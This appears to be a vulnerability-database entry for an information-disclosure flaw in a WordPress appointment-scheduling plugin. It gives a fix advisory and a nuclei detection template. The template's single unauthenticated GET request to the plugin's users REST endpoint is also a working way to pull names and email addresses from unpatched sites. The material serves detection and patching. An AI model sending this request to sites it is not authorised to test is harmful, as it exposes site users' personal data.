WordPress Simply Schedule Appointments <1.5.7.7 - Information Disclosure

mediumseverity

5.3CVSS score

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

WordPress Simply Schedule Appointments plugin before 1.5.7.7 is susceptible to information disclosure. The plugin is missing authorization in a REST endpoint, which can allow an attacker to retrieve user details such as name and email address.

Impact

An attacker can exploit this vulnerability to gain sensitive information from the target system.

Fix

Update to the latest version of the Simply Schedule Appointments plugin (1.5.7.7 or higher) to fix the information disclosure vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-json/ssa/v1/users
Positive when: contains in header "application/json" AND matches /response_code":200/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-2373 -u <target>

The full check

id: CVE-2022-2373

info:
  name: WordPress Simply Schedule Appointments <1.5.7.7 - Information Disclosure
  author: theamanrawat,theabhinavgaur
  severity: medium
  description: |
    WordPress Simply Schedule Appointments plugin before 1.5.7.7 is susceptible to information disclosure. The plugin is missing authorization in a REST endpoint, which can allow an attacker to retrieve user details such as name and email address.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the target system.
  remediation: |
    Update to the latest version of the Simply Schedule Appointments plugin (1.5.7.7 or higher) to fix the information disclosure vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6aa9aa0d-b447-4584-a07e-b8a0d1b83a31
    - https://wordpress.org/plugins/simply-schedule-appointments/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2373
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-2373
    cwe-id: CWE-862
    epss-score: 0.01982
    epss-percentile: 0.80729
    cpe: cpe:2.3:a:nsqua:simply_schedule_appointments:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nsqua
    product: simply_schedule_appointments
    framework: wordpress
  tags: cve,cve2022,simply-schedule-appointments,unauth,wpscan,wordpress,wp-plugin,wp,nsqua,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/ssa/v1/users"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - application/json

      - type: regex
        regex:
          - 'response_code":200'
          - '"email":"([a-zA-Z-_0-9@.]+)","display_name":"([a-zA-Z-_0-9@.]+)","gravatar_url":"http?:\\\/\\\/([a-z0-9A-Z.\\\/?=&@_-]+)"'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from